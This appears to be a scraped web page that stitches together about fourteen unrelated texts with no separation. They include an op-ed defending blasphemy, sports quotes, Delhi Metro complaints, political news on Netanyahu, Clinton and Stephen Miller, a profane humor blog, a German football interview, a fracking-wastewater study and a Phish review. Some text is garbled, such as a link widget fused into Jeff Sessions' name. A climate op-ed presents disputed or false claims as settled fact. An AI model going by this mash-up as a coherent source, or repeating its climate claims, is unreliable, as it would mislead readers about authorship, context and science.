When Jesus railed against the malpractices of the Jewish priests, he was blaspheming against the religious practices of the day. He was not even trying to create a new religion. But he was sent to the cross.
Blasphemy was what the Buddha indulged in several centuries before Christ, when he criticised the Vedic religions and what they had been reduced to by narrow Brahminism. He saw no need for a god when we had reason and ethical values to guide us with independent thinking. He may not be a blasphemer in the same league as that US creator of the Islam video, but for that age he surely shocked his audiences.
The thought process of his contemporary, the Mahavira, was different, but he too went against the dominant ideas of the day to embrace a non-deistic concept based on ahimsa (non-violence). We know it as Jainism today. He was a blasphemer of sorts, too.
When Guru Nanak found both Hinduism and Islam wanting in terms of progressive ideas, he established Sikhism. Between him and Guru Gobind Singh, you can say they took a critical attitude to two established religions, even while drawing elements from both. This may not be blasphemy, but rejecting the religions you were born into is apostasy – something not too different from the purpose of blasphemy.
When Babasaheb Ambedkar wrote harshly about the “Riddles of Hinduism,” it sent shockwaves among the upper castes. But it was a necessary wake-up call to reform Hinduism. Without Ambedkar’s blasphemy, Hinduism would have died long ago.
To be sure, it has become fashionable to welcome free speech and blasphemy in some degree, but we still pander to those who are burning and killing in the name of protecting Islam or Hinduism by adding a personal disdain: “Oh, that anti-Islam video was so pathetic, so bad.”
This is what we did when Aseem Trivedi was arrested for his “seditious” cartoons. We had news channels and writers loudly proclaiming the right to free speech, and still ridiculing his cartoons. The question is not how good or bad they were, but did they try to express a thought in some way that challenges us? If it didn’t, why bother?
This, for example, is what Hillary Clinton did on the Islam video. She called the video "disgusting and reprehensible." She said “it appears to have a deeply cynical purpose, to denigrate a great religion and to provoke rage.” There was thus “no justification, none at all", for the video. As the US Secretary of State, she may have said it to defuse the powderkeg situation in the Islamic world, but it won’t work. If you are going to defend free speech, you might as well defend it without ifs and buts.
Moreover, what would have been a better justification for the video? Would it have done less damage if it had better production values or story line? MF Husain was one of our best painters but we still managed to work up a rage over a few of his paintings.
Is it wrong to question or provoke believers in a religion, any religion?
For all those Muslims who think the anti-Islam video is a plot by crusading Christians against their religion, I would only urge them to read Sam Harris’s Letter to a Christian Nation, which denounces born-again Christianity in no uncertain terms, to feel better.
For smug Hindus, who think this is all about other religions, I could recommend any number of books by Dalits castigating their religion in no uncertain terms. They are all more or less blasphemous. The ongoing efforts to organise beef festivals in various universities is part of the Dalit campaign to provoke Hindus with gastronomic blasphemy.
Hindus should be provoked enough to introspect and change.
What we all need to understand is this: to provoke, is to force someone to think and reconsider. While it is fine to get a bit angry or even protest about whatever it is that angers you, the fact is blasphemy is the basis of progress. When you challenge what you think is wrong or untruthful, you blaspheme against an existing thought process.
That is how we change for the better – never mind if the odd writer or film-maker or cartoonist produces low-quality work. It is the message, not its quality, that matters.
I invite Muslims to read Joseph Anton, Salman Rushdie's memoirs, and Hindus to read AK Ramanujam's 300 Ramayanas. I invite Dalits to read Arun Shourie's Worshipping False Gods on Ambedkar. For a slightly longer list of books that will offend someone or the other, please read this article on Firstpost. And these are hardly the most subversive or blasphemous of the lot.
The 20 year old, playing just his 12th game for Arsenal, was in action again on Sunday during the 2-1 win over Man City.
Thrust into action in a game of such importance, with circumstances the way they were, nobody would have blamed him for being nervous, but his display belied his relative inexperience, and afterwards the former Bolton man said he’d enjoyed his first ever visit to Wembley.
“It’s the first time I have ever been here!” he told the official site.
“I have never been there even as a fan, I was living in Manchester before so it was a bit of a trek down, so this was the first time. I loved it, I can’t wait for the final now – hopefully I’ll be involved.
|”It was a bit nerve racking at the start [of the match] with both sets of fans screaming, so it was a bit crazy but I settled down after a shaky first 10 minutes and it was all okay.”
Holding might even have been the hero before Alexis Sanchez scored the winner, heading just over from a corner in extra-time.
Mobile network: Despite special fibre cables and antennas on Metro pillars, mobile connectivity continues to be a pain. It is worse when you’re underground.
Safety: In 2016, there were 74 suicide bids which led to 12 deaths. Security officials now look out for visibly anxious commuters and talk it out with them.
Men in women-only coaches: Little seems to have changed when it comes to men expecting to travel in the Pink coach meant for women. Thanks to the women security staff the menace is kept under control.
Dark spots: Parking lots and roads leading to many stations remain poorly lit. Many of these stretches also do not have ‘eyes on street’ with lack of security.
Manspreading: Some do it intentionally, others just don’t get it. Taking relaxation in the metro to the next level is not just the act of manspreading, but also lying down on empty seats.
Last mile: There is acute lack of last-mile connectivity. There are 291 feeder buses while para-transit modes ply as per their free will.
Ticketing system: New automated ticket system may be a good idea, but what about the multiple machines in most of the stations that say “Out of Service”?
Overcrowding: It really irks a commuter when during peak hours even busy corridors like the Blue Line run six coaches. Only eight-coach trains should be run during peak hours to ease overcrowding.
No change: Those disbursing tokens sometimes say they do not have change. It creates unnecessary delay in a commuter’s journey.
Pick-pocketing: Till July alone this year, the CISF had caught 373 pickpockets out of which 329 were women. So, be careful and keep your wallet and phone close to you.
Social media: Commuters miss an official Twitter handle of the Delhi Metro. The metro system lacks a social media forum.
Obstructing doors: Some people are in such hurry that they just won’t let go of a train, even if it means having their bag stuck between the metro doors. Take the next train, please.
Night-time security: The ladies coach system just vanishes during the last few hours. Men joyfully settle in women’s coaches and security staff are rarely found around that time.
Snags: The busy Blue Line has seen some of the worst snags this year resulting in complete chaos.
Extra baggage: The DMRC recently introduced steel gauges to restrict baggage size. You’ll find these baggage loaded travellers at stations like Anand Vihar, New Delhi and Chandni Chowk.
A much-talked about and rumored diplomatic confrontation between Israeli Prime Minister Benjamin Netanyahu and the American ambassador to Israel, Dan Shapiro did, in fact, unravel into an unusually sharp shouting match, according to Rep. Mike Rogers.
Rogers (R-MI) is chairman of the House Intelligence Committee was in attendance during a diplomatic meeting between US and Israeli officials. Press reports came out following the meeting saying an unseemly confrontation took place, only to be later dismissed as “silly” exaggerations.
But now Rogers has confirmed in a radio interview that there was a “sharp exchange between the Administration’s representative there, our ambassador there, and Mr. Netanyahu, which was unusual to say the least, but I thought at the end of the day maybe productive.”
The clash arose out of Netanyahu’s frustration that the Obama administration wasn’t threatening Iran with military strike nearly enough, to which Shapiro retorted that Obama had been plenty clear and plenty aggressive.
When asked to describe the tone of the meeting, Rogers said: “Very tense. Some very sharp… exchanges and it was very, very clear the Israelis had lost their patience with the (Obama) Administration.”
Rogers said he’d never seen such a confrontation before. “We’ve had sharp exchanges with other heads of state and in intelligence services and other things, but nothing at that level that I’ve seen in all my time where people were clearly that agitated, clearly that worked up about a particular issue where there was a very sharp exchange.”
The outburst from Netanyahu was a clear sign of his aggressive style and ideological zeal for war. President Obama has militarily surrounded Iran, committed covert cyber-war on Iran, supported the Israelis as they assassinated civilian Iranian scientists, and heaped unprecedented harsh sanctions on Iran which are crippling their economy…all to stop a nuclear weapons program that both the US and Israel admit Iran doesn’t even have.
Yet Netanyahu wanted more, and wasn’t getting it. So he threw a tantrum during a diplomatic meeting.
PETA awarded the firefighters with the Compassionate Fire Department Award Thursday.
READ MORE: Firefighters rescue moose stuck in ice in New Brunswick river
Firefighters were called to the river Saturday morning after reports of a deer stuck in the ice. When they arrived, they found a 240-kilogram female moose.
The firefighters hacked a path through the ice, then ventured out onto the frozen river to encourage the moose in to shore, where she ran off, seemingly healthy.
“These firefighters had the determination and the know-how that it took to save this young moose from a slow, icy death,” PETA vice president Colleen O’Brien said in a release. “PETA hopes this story will inspire people everywhere to come to the aid of wildlife in need.”
Shediac Fire Department spokesperson Julien Boudreau told Global News Thursday that PETA had contacted them to ask a few questions about the rescue and the shape of the moose after the incident. They also asked for the firefighters’ email and mailing addresses, though Boudreau “had no idea what they were up to.”
“We were surprised, we weren’t expecting it,” Boudreau said.
“It’s certainly nice to be recognized. We certainly don’t do it for the recognition, we do it for a while host of reasons.”
READ MORE: Warning about moose licking vehicles in Kananaskis: Alberta Parks
In addition to the award, PETA is sending the fire department a box of delicious cookies, a letter of congratulations and a copy of The Engine Diet 2 — a cookbook by a Texas firefighter filled with recipes geared toward staying in firefighting shape on a plant-based diet.
Boudreau said the firefighters appreciate the gesture and will take a look at recipes in the book.
Both are widely unpopular standard bearers for their respective political parties, but Clinton just seems incapable of breaking 50 percent. There is some silver linings for the Clinton campaign. They’re still leading in key swing states. And if the election were held today, she would handily cobble together enough electoral votes to win. Still, it shows that Hillary’s standing in the polls might be very tenuous, with one bad document dump away from massive erosion in support (via The Hill):
Hillary Clinton’s lead over Donald Trump has narrowed to 5 points, according to a Reuters/Ipsos poll released Friday. Clinton, the Democratic nominee, registers 41 percent support among likely voters, while Trump, her GOP counterpart, claims 36 percent. Twenty-three percent said they wouldn’t vote or would pick another candidate. The same poll on Tuesday showed Clinton leading by 12 points. She was up by 8 points in last Friday's Reuters/Ipsos poll.
For Trump, this is good news. It shows that the possible ethics issues that surround the Clintons like hungry sharks resonates with American voters. While it’s good that Trump has been hammering them over the shady dealings of their family foundation, it's what he should’ve been doing for months. He should focus his attacks here. Don’t attack Gold Star families. Enough with the attacks on a judge’s ethnicity—and saying that he can’t do his job effectively because of it.
I slept through my alarm this morning. Well, that’s not exactly true. I kept pushing snooze, getting another five minutes, pushing snooze getting another five minutes, pruning down the things I had to do before leaving the house with a semi-sleeping brain, pushing snooze, you get the idea. At some point I guess I must have pushed Off by mistake and just kept sleeping.
I awoke with a jolt. It was late. Not too late but I have a thing about being late – namely, I fucking hate it – so I was in a state of mild distress. I could still get to work on time but I was under pressure, my insufficiently oxygenated calculations on what had to be done and how much time I’d need were abysmally poor, I was looking down the barrel of no breakfast, possibly even no coffee. No coffee, as you’ll remember, means no shit and starting the day all bunged up – ah, it would be a cunt of a day!
I jumped into the shower and in retrospect could have cut down time by leaving certain personal grooming details for another day, but I didn’t. I decided to shave my ballbag. I first shaved the bag about six years ago. I tried it once to impress a girlfriend and just never went back. Yes, it did work, she was quite impressed, it was the rest of me that ruined things there in the end, but I digress. The freshly shaven bag is a wonderful thing. Gentlemen, if you’ve never tried it, I highly recommend* it. Unfortunately, the scrotum is not the easiest thing in the world to shave and today, with the pressure of lateness upon me, I was rushing. I nicked the bag.
Just a little nick. For a moment I wasn’t even sure if I’d cut or imagined it. Of course, that moment was very short-lived and followed by extreme panic as it began to bleed. It didn’t spurt or anything graphic like that, it just dripped with determined rapidity. Oh fuck! I’ve cut the bag! Fuck! Fuck! Fuck! I examined the wound, the warm water of the shower washing it clean. One tiny cut, less than a millimeter, not deep, just a layer of skin but right on a vein. The water was quite hot, the bleeding was quite consistent, the ballbag is nothing but thin skin covered with small veins, my heart was pumping, the shower looked like Psycho. The bag!!! Fuck it, I’ve cut the bag! And I’m late for work!
I turned the taps off and grabbed a towel and, carefully to avoid the balls, compressed the damaged piece of scrotum in the towel to stem the flow of blood. First aid training, you beauty! Compress the wound to stop the bleeding. I had to get it to stop quickly because I was going to be late for work so I stood in the bathroom like a hunchback, one hand compressing my slashed bag, the other doing a crap job of drying the rest of me with another towel. What a pathetic sight, I was so glad to live alone.
How could I have been so stupid? Why didn’t I leave it for another day? IDIOT!!! After about five minutes of compression I checked the bag. The bleeding started right back up exactly like before, a rapid dripping. Oh fuck! How to make it stop. I grabbed a bottle of liquid styptic out of the medicine cabinet. I use it on my face when I cut myself shaving, how is it I’ve never cut the bag before? I dabbed styptic on the bag. SWEET SHITTING FUCK MONSTER!!! Wow, I thought that shit stung my face. No result, still bleeding. I tried again. CUNTING ARSE PISS MOTHERFUCKER!!! Yep, that really does smart. Still bleeding. My bathroom was starting to look like a crime scene. Could I bleed to death from this? What a hideous way to die. Fuck, they’ll think it was some bizarre suicide. Humiliation even in death. I’ve GOT to get ready for work. Band aids. Yes! That will work. Applying band aids to a scrotum is no easy thing either. Who designed balls? Who fuckin’ did this? How fucking ridiculous…? Alright…calm down! The band aids wouldn’t stay on because the blood soaked straight through them. I was starting to worry that I might be losing a dangerous amount of blood. Also, how could I explain this? What would I tell The Wobblers? No no no, it was all too terrible to contemplate. I decided to bleed freely all over the bathroom floor while I rummaged through the contents of the medicine cabinet. Fabric Elastoplat. One large one and a packet of normal size fabric elastoplast. They’re better than the plastic band aids because they’ve got that hardcore adhesive and they’re fabric so they stretch. I opened the big one and about fifteen little ones, peeled all the backings off them and laid them sticky side up on the washing machine. Taking the big one in one hand, I wiped the scrote clean with the bloody towel and quickly stuck the big plaster over the wound. I pressed all the edges down – very careful to not press ball, just bag. Then before the blood could soak through, I reinforced it with the smaller plasters, building up a barrier against the bleeding, I would make it stop. Ha! Fuck you, circulatory system! I kept peeling and applying plasters until I was satisfied. I waited for a few minutes…it held. This would have to do.
Of course, my balls by this stage resembled a softball. As I got dressed I realised my cunning strategy may well attract a lot of attention. Not more attention than a bleeding crotch perhaps, but still it wasn’t a good look. What a choice: elephantitis balls or man-struation? Too late to worry now. I left the house of horrors and caught the train. I kept glancing at myself fearing that the dressing wasn’t holding the blood flow. I was certain on a few occasions that I felt wetness in my pants. Terror! No, I was just Buster Gonad and His Unfeasibly Large Testicles.
The easter egg in my pants held. No-one commented about by abnormally huge balls, for which I was very thankful. I kept a very low profile at work, I kept all movement to a minimum. I worked and left. On removing the dressing when I got home I discovered the bleeding had stopped and I was fine. I cleaned the abbatoir that was my bathroom.
I will continue to shave my bag, despite today’s near-death experience. Not because I’m some sort of self-mutilator or adrenaline junkie, but because I like the feeling of a smooth scrote. But, I will only shave it when I have time to be leisurely about it. They’re the only balls I have and they deserve better than a hasty once-over with a fucking razor blade.
* What I don’t recommend is waxing. Tried it, don’t go there, it’s bad. Very, very bad.
You can indulge my lust for popularity by voting for this post at http://humor-blogs.com …or not, hell, I don’t know who you are. Hmm, but strangely I crave your approval.
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The new device – dubbed the stentrode –was developed under DARPA’s Reliable Neural-Interface Technology (RE-NET) program, and offers new potential for safely expanding the use of brain-machine interfaces to treat physical disabilities and neurological disorders.
“DARPA has previously demonstrated direct brain control of a prosthetic limb by paralyzed patients fitted with penetrating electrode arrays implanted in the motor cortex during traditional open-brain surgery,” said program manager for RE-NET, Doug Weber.
“By reducing the need for invasive surgery, the stentrode may pave the way for more practical implementations of those kinds of life-changing applications of brain-machine interfaces.”
Traditional brain implants have been implanted into the brain through invasive surgical procedures that require opening the skull.
However, because of the stentrode’s flexibility and durability it can transported via blood vessels, which are used as portals for accessing deep structures while greatly reducing the trauma associated with open surgery.
Proof-of-concept results, from a study conducted in sheep, are described in an article published in Nature Biotechnology.
The article describes how measurements taken from the motor cortex using the stentrode are quantitatively similar to measurements made by commercially available brain implants that require open-brain surgery.
During a combative briefing at the White House, Miller accused a CNN reporter of showing “cosmopolitan bias” for questioning whether the policy upholds American values and cast doubt on the Statue of Liberty’s historical significance as a beacon for immigrants.
That all came after Miller got into a heated exchange with a New York Times reporter over whether there is statistical evidence to back up the administration’s claim that cutting the number of green cards would help American workers.
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The 30-minutes of heated talk marked a return to the spotlight for Miller, who has kept a low profile since the rocky rollout of the president’s travel ban earlier this year.
It also came days after retired Marine Corps Gen. John Kelly took over as Trump’s chief of staff with a mandate to restore order and calm to the West Wing.
But Wednesday’s briefing was anything but orderly, with reporters and Miller engaging in lengthy arguments that at times became personal.
The tensions reached a boiling point when CNN Senior White House Correspondent Jim Acosta — a frequent target of the Trump administration’s ire — asked Miller if the bill, which would prioritize merit-based immigration over family reunification, went against the Emma Lazarus poem engraved on the base of the Statue of Liberty, which says “give me your tired, your poor, your huddled masses yearning to breathe free.”
“The Statue of Liberty is a symbol of liberty lighting the world,” Miller responded. “The poem you are referring to, which was added later, is not part of the original Statue of Liberty.”
Acosta shot back that Miller was peddling “some sort of National Park revisionism.”
When Acosta asked if the bill’s preference for English speakers was designed so that the U.S. would only take in people from Great Britain and Australia, Miller exploded.
"I can honestly say: I am shocked at your statement that you think only people from Great Britain and Australia would know English,” Miller said, speaking over Acosta, who tried to interject several times. “It reveals your cosmopolitan bias to a shocking degree — this is an amazing moment.”
Acosta responded by accusing the Trump White House of trying to “engineer the racial and ethnic flow of people into this country,” a claim Miller called, "one of the most outrageous, insulting, ignorant and foolish things you've ever said."
The stunning exchange drew laughter and scoffs from several reporters inside the James S. Brady Press Briefing Room. Even White House press secretary Sarah Huckabee Sanders, who stood at Miller’s side, cracked a smile.
"That was exciting," she quipped after Miller left the podium.
The CNN reporter, whose father came to the U.S. from Cuba, took issue with Miller’s claim that he was “ignorant,” prompting him to apologize “if things got heated.”
Miller appeared to relish the fight during an earlier back-and-forth with Glenn Thrush of The New York Times, who challenged him to produce data to show a direct link between low-skill immigration and job loss for U.S. workers.
Miller named several studies that he said backed up the administration’s claims, adding that such claims are also supported by “common sense.”
“I’m not asking for common sense,” Thrush responded. “I’m asking for specific statistical data.”
“I think it's pretty clear, Glenn, that you're not asking for common sense,” Miller retorted.
After Thrush responded that, “common sense is fungible, statistics are not,” Miller suggested the administration would “create a carve-out in the bill that says The New York Times can hire all the less-skilled, low-paid workers from other countries.”
“See how you feel about it then,” he added.
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The verbal jousting didn’t necessarily come as a surprise to many of the Washington journalists who often engaged in similar exchanges with Miller when he was a top aide to then-Sen. Jeff Sessions Jefferson (Jeff) Beauregard SessionsFormer Trump refugee director did not notify superiors about family separation warnings Court rejects challenge to Mueller's appointment Trump says he hasn't spoken to Barr about Mueller report MORE (R-Ala.), one of the upper chamber’s leading immigration hawks.
The difference is that Miller is now one of the president’s most influential advisers on immigration and the sparring played out live on national television, instead of over the telephone.
But Miller has seldom spoken publicly since February, when he made comments during a string of cable news appearances that may have undercut the administration’s legal case for the travel ban he helped draft.
Miller said on Fox News that the revised travel ban, which was then in the works, would “have the same basic policy outcome for the country” as the first ban that was blocked by federal courts and that the changes would be “mostly minor technical differences.”
The adviser later had to clean up his statement, saying the revisions, though minor, would help the policy pass legal muster.
Usami will jetzt vieles besser machen FC Augsburg
Viel zu Lachen gibt es beim ersten Interview von Takashi Usami auf Deutsch.
Beim zweiten Anlauf in der deutschen Bundesliga beim FC Augsburg will der Japaner Takashi Usami vieles besser machen. Darum lernt er jetzt auch Deutsch.
Von Wolfgang Langner
Es ist ein langes, seufzendes „Ja“, das Takashi Usami von sich gibt. Mit diesem Ja beantwortete er die Frage, ob er aufgeregt sei. Der Japaner hat sich etwas vorgenommen. Hier im Trainingslager im spanischen Marbella will er den versammelten Journalisten sein erstes Interview auf Deutsch geben. Für den 24-jährigen Offensivspieler des FC Augsburg wird das eine Herausforderung.
„Was ist Heimweh?“, fragt Usami dann in die Runde. Wenn Pressesprecher Dominik Schmitz einen anderen Satzbau wählt, wie „Vermisst du deine Heimat?“, dann wird das für Usami verständlicher.
Seine Zeit bei den Bayern und in Hoffenheim:
„Ich war damals erst 19 Jahre alt und es war schwierig für mich“, erzählt Usami.
Seine Zeit unter Schuster:
„Das war mein Problem, nicht das meines Trainers. Der japanische Fußball ist etwas langsamer. Egal, ob du in der Bundesliga sprintest oder Zweikämpfe bestreitest, geschieht das auf einem anderen Niveau.“
Zudem hatte Usami so gut wie keine Pause im Sommer. „Als in Japan die Saison beendet war, fing ich bereits eine Woche später in Augsburg an. Da war meine Kondition nicht besonders hoch“, so Usami.
Heute sieht er seine Situation anders: „Ich habe zwischen Weihnachten und Neujahr schon ein bisschen in Japan trainiert und jetzt in Spanien gut trainiert. Ich fühle mich fit.“
Testspiel gegen Alkmaar:
„Ich bin glücklich über das Tor und freue mich. Für mich ist jedes Tor wichtig“, so Usami.
Rückkehr nach Deutschland:
“Ich mag Deutschland. Ich mag deutschen Fußball und wollte es hier noch einmal versuchen.“
Zur Autobahn:
„In Japan darf man höchstens 80 Stundenkilometer fahren. Ansonsten wirst du verhaftet“, lacht Usami und macht dazu eine Bewegung, wie wenn er sich Handschellen anlegen würde.
Auch das Essen schmeckt ihm in seiner neuen Heimat: "Schnitzel und Knödel esse ich am liebsten.“
Essen mit Tochter und Frau:
„Wenn meine Frau einen stressigen Tag gehabt hat, dann gehen wir aber auch mal zum Essen“, meint Usami, der in Augsburg schon zwei gute japanische Restaurants entdeckt hat.
Usami hat es fast geschafft. Das Interview neigt sich dem Ende zu. „Ich habe ein schmutziges Deutsch“, grinst er.
Vom Nebentisch meldet sich FCA-Trainer Manuel Baum: „Taka, du musst Bairisch lernen.“ Usami seufzt noch einmal: „Oh nein, das ist zu schwer.“
It was just yesterday that we relayed the rumor that PlayStation 4 and the next Xbox console are E3-bound. But if famous Wedbush Morgan Securities industry analyst Michael Pachter is to be trusted, MCV's report is off the mark.
Financial magazine and website Forbes is reporting quotes from Pachter about MCV's rumor. "I think there's zero chance of a tease from Sony for PlayStation 4," Pachter told Forbes, continuing that a new Xbox at E3 is unlikely, too, placing the odds at "20 percent."
"Neither console is launching in 2013, so there's no reason to tease them in 2012," Pachter concluded.
This flies in the face of the original MCV report, the source of which was described by MCV editor Ben Parfitt on Twitter as "exemplary, 100% concrete, ultra high level."
Of course, such a claim doesn't necessarily pinpoint who could possibly know the rival companies well enough to be intimately familiar with both Sony's and Microsoft's E3 plans. But MCV's Editor-in-Chief Michael French did tell IGN that their report is "very credible."
Redford must expose Gore’s climate fears as nonsense in Friday's meeting
Alberta premier Alison Redford has promised to take Al Gore to task at the World Economic Forum in Davos, Switzerland on Friday for “providing information to people that isn’t accurate” concerning the oil sands.
She claims, with good justification, that much of Gore’s activism against her province’s most important project is not based on sound science. Since the premier’s meeting with the former vice-president is private, Redford has said that she will report back on how the discussion goes. Redford will probably ask Gore why he asserts that carbon dioxide (CO2) emissions from the oil sands threatens global climate when only just over one one-thousandth of total worldwide emissions from human activities come from the project. She will likely also argue that oil sands emissions are inconsequential as long as China continues to bring more and more coal-fired electricity generating stations on line, stations that in total emit far more CO2 than the oil sands. Gore will likely dispute the 1/1000th figure by pointing out how the oil is used in the U.S. He will probably also make the point that we need to start somewhere if we are to save the planet from climate catastrophe. Gore may observe that Redford’s argument about Chinese coal stations is ridiculous and is morally equivalent to arguing that it is fine for someone to frequently get drunk because a neighbour does so much more often.
On that last point, Gore would be right, if, that is, humanity’s CO2 emissions were a threat to the global climate. Consequently, Redford cannot rely on these weak arguments or even those that she often makes about how the province is reducing greenhouse gas emissions (mostly CO2) in other ways. She needs to address the core issue, namely, why does Mr. Gore say that man-made CO2 is a problem in the first place? To do this, Redford needs to ask Gore the 19 simple questions listed below, or at least a representative sample of them. If she is brave enough to do this and then publicize Gore’s answers, it would go a long way towards helping defeat the main threat to oil sands expansion: the erroneous belief that the project, or indeed any hydrocarbon fuel project, is a significant threat to world climate. Mr. Gore, why do you refer to CO2, a benign gas on which all life depends, as “carbon pollution” and “global warming pollution”? It is obviously anything but pollution. Why are you so concerned about global warming when history shows that cooling is far more dangerous to civilization and nature? That is why geologists named past warm periods “optimums” and cold times “dark ages.” Why do you trust computer models of future CO2-induced global warming when none of these simulations predicted the current 17 year period of no warming that we are experiencing, a time frame during which CO2 rose 8%? Why will you not accept a wager with University of Pennsylvania Professor J. Scott Armstrong (Climatebet) that his forecast of no change in “global temperature” will prove to be more accurate that any computer model you chose? How can you say that the “science is settled” when the Nongovernmental International Panel on Climate Change (NIPCC) lists hundreds of scientific references from leading peer-reviewed journals that demonstrate that the causes of recent climate change is a topic of intense debate within the climate science community? Why do you assert that there is a consensus among climate scientists that emissions of CO2 from human activities are causing dangerous climate change when there has never been a poll of world experts that demonstrates such an agreement? Why did you say in your film, An Inconvenient Truth, that CO2 drives temperature when a close examination of the graphs you presented show that temperature rises before CO2 increases? Do you think that the good correlation between the brightness of the Sun and Earthy temperatures is just a coincidence? Why do you assert that the frequency and intensity of extreme weather events are rising when observational data shows this not to be the case? Why do you connect recent extreme weather events with climate change when both the United Nations Intergovernmental Panel on Climate Change and the NIPCC say that there is no apparent connection? How is it that sea level has been significantly higher than today in the Maldives seven times in the past five thousand years without destroying the islands? Why are you concerned about CO2-induced ocean acidification when the oceans did not become acidic even when atmospheric CO2 levels were 1300% of today’s levels millions of years ago, a period during which coral reefs flourished? Why is sea ice around the Antarctic now at an all-time high and record low temperatures were recorded last summer in the continent? Why are polar bears populations higher today than in 1960 and Inuit children now in more danger from the bears than are the bears from climate change? Why did you say nothing at all in your most recent 24 Hours of Reality about helping vulnerable populations cope with climate change that we see happening today? Do you think it ethical that, of the $1 billion a day spent on climate finance across the world in 2012 (latest figures available), only 6% of it went to helping people cope with real-world climate problems today (reference: Landscape 2013, October 22, 2013, Climate Policy Initiative)? Even participants in the 2009 United Nations Copenhagen climate conference committed to a 50-50 funding split between adaptation and mitigation (i.e., ‘stopping climate change’). If you really believe that we are headed for climate disruption, why do you promote the least reliable, most expensive energy sources — wind and solar power—while not promoting our most reliable and least expensive forms of energy—coal, oil, natural gas and nuclear? If your forecasts of increasing extreme weather are correct, we will need vast amounts of inexpensive power to reinforce buildings and strengthen public infrastructure by building levees, upgrading our irrigation systems, and burying our electrical and communications cables underground. We would also need to relocate populations living on flood plains or at increasing risk from tornadoes and hurricanes, at a cost of huge quantities of energy.
Finally, three questions that Redford would undoubtedly be too polite to ask, but should be asked by reporters less concerned about hurting Gore’s feelings: If you want people across the world to reduce their energy consumption, why don’t you set an example and greatly reduce your own energy usage, now easily an order of magnitude higher than ordinary people? How long do you think it will be before the $8,875,000 ocean-view villa that you bought in Montecito, California in 2010 will be under water? Do you think that was a wise investment considering what you have been saying about dangerous sea level rise? You assert that vested financial interests drive those who do not agree with your position on global warming. How much money have you made personally as a result of promoting concerns about man-made climate catastrophe? Redford said with regards to Gore’s mistakes and exaggerations about the dangers of the oil sands, “I don’t really care who is saying it; we can’t have people out there spreading myths.” Agreed. And there is no one better placed that the Premier of Alberta to start slaying the science myths that are the most serious threat to this vitally important project. Will Redford have the courage to do this when she debates Al Gore later this week?
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Tom Harris is Executive Director of the International Climate Science Coalition.
Older articles by Tom Harris
Marie Cusick Bio Recent Stories As the Harrisburg reporter for StateImpact Pennsylvania, Marie Cusick covers energy and environmental issues for public radio stations statewide. She’s also part of NPR’s energy and environment team, which coordinates coverage between the network and select member station reporters around the country. Her work frequently airs on NPR shows including Morning Edition, All Things Considered, and Weekend Edition. Since 2012, Marie has closely followed the political, social, environmental, and economic effects of Pennsylvania’s natural gas boom. Her work has been recognized at the regional and national levels– honors include a Sigma Delta Chi Award from the Society of Professional Journalists and a national Edward R. Murrow Award from the Radio Television Digital News Association. Previously, Marie was a multimedia reporter for WMHT in Albany, New York and covered technology for the station’s statewide public affairs TV show, New York NOW. In 2018, she became StateImpact’s first FAA-licensed drone pilot.
Scott Detrow / StateImpact Pennsylvania
A new study finds the treated wastewater from Pennsylvania’s natural gas industry may pollute rivers, lakes, streams and creeks for longer than previously thought.
Penn State environmental engineering professor Bill Burgos and his colleagues analyzed sediment samples from the Conemaugh River, a dam-controlled reservoir in western Pennsylvania. The reservoir is downstream from two centralized waste treatment plants, which contaminants from hydraulic fracturing operations can pass through. The study, published this month in Environmental Science & Technology, shows the highest concentrations of pollutants were deposited in the reservoir’s sediments five to 10 years ago, during the peak of Marcellus Shale activity; they include endocrine disrupting chemicals and carcinogens.
Burgos says it’s not yet clear how the pollution may affect human health or the broader environment.
“How dangerous is that material? That’s still an open question,” he says. “That’s difficult to know.”
In 2015, Pennsylvania’s unconventional gas wells produced nearly 1.7 billion gallons of wastewater. Oil and gas wells can contain various contaminants, including salts, metals, natural occurring radioactive material, and manmade organic compounds. The study shows elevated levels of contaminants as far away as 12 miles downstream from the treatment plants.
Borgos says he and other researchers were able to link the contaminants to unconventional gas development by tracing the unique signature of the shale formation.
“The key environmental forensic evidence hinges on the isotopes of radium and strontium,” he says. “Isotopes of those two elements are the best indicator that the fluids in that most contaminated layer had some relationship or origin to Marcellus Shale.”
He says future research may shift further downstream, to see if this signature can be detected at lock and dam systems closer to Pittsburgh.
The good news, according to Borgos, is the study shows a significant decrease in contaminants, resulting from a 2011 request by state environmental regulators for drillers to stop disposing their wastewater in municipal sewage and commercial treatment plants.
“This voluntary ban that the [Department of Environmental Protection] requested turned out to have a direct impact on improving sediment quality,” he says.
Since then, Burgos says the natural gas industry has become much more successful in recycling its wastewater.
From its introduction in 1994 (barring the coda jam post Auld Lang Syne from 12-31-93) it got the standard album treatment in the live show setting and it continued that way in early 1995. The break through came at SPAC on 6/26 as they opened up the song in a gem that segues beautifully into Free. After that venture they didn't delve back into Disease until 12/12 in Providence for a 30+ min monster.
By 1996 Disease had become a more consistent vehicle for exploration with a standout version in Seattle on 11/27. But 1997 was the true tipping point. Highlight versions abound from spring in Europe through the Fall Tour and New Years run. From 1997 on Disease was officially a powerhouse.
From this point on Down with Disease morphed along with the current style and focus of the year in question. In 1997 it got the funk workout, in 1998 it went to a more ambient nature and then took a turn to the groove in the millennial era. The advent of 2.0 brought a renewed energy to many songs and Disease was certainly one of the beneficiaries. In 2003 Disease broke new ground when the wide open approach led to multiple versions that explored a variety of themes within the same jam. In 3.0 Disease has continued to be a consistent performer that every year has produced versions that can find a place in the top 10 of any complete year review.
After going through the years I found 3 distinct high points, 1997, 2003 and 2013. I definitely have a bias towards 1997 as it is one of my favorite years of Phish, but I picked that as the first high water mark because that is the year that Disease became a true improv beast. It proved to be a perfect fit for the cowfunk that developed that year right from the get go in Amsterdam in the spring and continuing through summer and fall. Before 1997 Disease always had the potential to be the highlight of a show but that potential was only realized on occasion.
The next peak year for Disease, imo, is 2003, when the song became truly open and could go anywhere and through multiple themes during the course of one version. Again, right from the start in spring Disease took on new forms and this approach continued throughout the year, leading to some major highlights in a year that was renown for its deep exploration.
In 3.0 Disease has proven reliable once again to deliver highlight worthy jams. I would classify 2013 as another high point in the evolution of Disease. Unlike previous high points this year did not necessarily debut a new style or form for the song, but 2013 in general it could be said did not produce a new signature style that was distinct from previous years. Rather this year just turned in a number of peak performances that will be revisited often.
Before I started this review I thought about how difficult it would be to narrow it down to some sort of Top 10 list. I have decided instead to come up with a list of candidates for a pantheon list of Diseases. The list includes 28 versions that ideally could get whittled down to a top 10 or 15 that could vary from person to person. Enjoy!
RELATED ARTICLE: Time for B.C. to end its draconian laws on alcohol
